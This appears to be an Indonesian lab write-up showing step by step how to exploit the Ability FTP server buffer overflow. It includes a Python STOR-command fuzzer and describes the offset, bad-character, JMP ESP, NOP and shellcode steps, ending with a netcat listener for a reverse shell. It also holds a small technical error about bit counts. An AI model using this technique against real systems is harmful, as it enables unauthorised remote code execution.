Dokumentasi Ability



DITULIS OLEH : Apip Mahpudin


 

  1. Kita download Vurnerable app di link https://www.exploit-db.com/exploits/588

Setelah kita download kita jalankan aplikasi Ability - Remote Buffer Overflow , sebelumnya kita telnet ke 192.168.19.141 ( IP WINDOWS )lengkapnya seperti gambar dibawah ini

 

  1. Setelah kita mengetahui nya crash buffer ke berapa kita masukin ke script python untuk mencari buffer “A” disini kita masukin buffer nya diangka “5000” dan kita cek di immunity debugger seperti gambar

 

#!/usr/bin/python
import socket, sys

#socket dekklarsi TCP dan  IPv4
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
buffer = "A"*2000
sock.connect((sys.argv[1], 21))
print sock.recv(2000)
sock.send ("USER lovebird\r\n")
print sock.recv(2000)
sock.send ("PASS 1234\r\n")
print sock.recv(2000)
sock.send ("STOR "+ buffer +"\r\n")
print sock.recv(2000)
sock.close()

  1. Lalu kita create pattern dan offset lengkapnya dibawah ini , setelah kita dapat kan offset kita masukan angka 960 di script python kita rubah yang dari “A”* 2000 menjadi “A”*960

Gambar ini yang kode 42306742 itu yang kita jadi kan offset untuk menghasilkan angka 960

 

  1. Cari badchars di google https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py contohnya seperti dibawah ini :

Dan kita hilangkan yang “\x00\x0a\x0d\” dikasus saya mengalami badchars yang dihilangkan “\x00”

 Lalu kita copy badchars nya seperti dibawah ini ke dalam python              

  1. Setelah step diatas kita mencari JMP ESP di Immunity debugger

Cara nyari jmp esp di immunity debugger kita klik  view -àexeceutableà modules àUSER32à lalu klik dua kali dan copy ke python  JMP ESP : 75884033 setelah dapat jmp esp nya kita copy terbalik dari arah belakang “ \x33\x40\x88\x75”

Ganti nilai BBBB jadi nilai JMP ESP trus nyalain yg “C” seperti dibawah ini

  

  1. Sekarang kita mencari NOP ( No Operation)

caranya adalah dari JMP ESP (USER32. 770C4E2B) sampai ke garis putih.

Nah itu kan ada 1 baris, 1 baris=4bit , 1*4bit = 4

Nah nanti jumlah nopnya harus lebih 4 tapi saya taro nopnya 58 .

 

  1. Sekarang kita bikin shellcode dengan cara seperti dibawah ini :

Setelah jadi shellcode kita copy ke python nanti script nya lengkapnya seperti dibawah ini :

 

Kalau sudah semua kita running lagi dan jangan lupa nyalakan nc –lvp 443 untuk dapat balikan konek dari scriptnya dan contohnya seperti dibawah ini: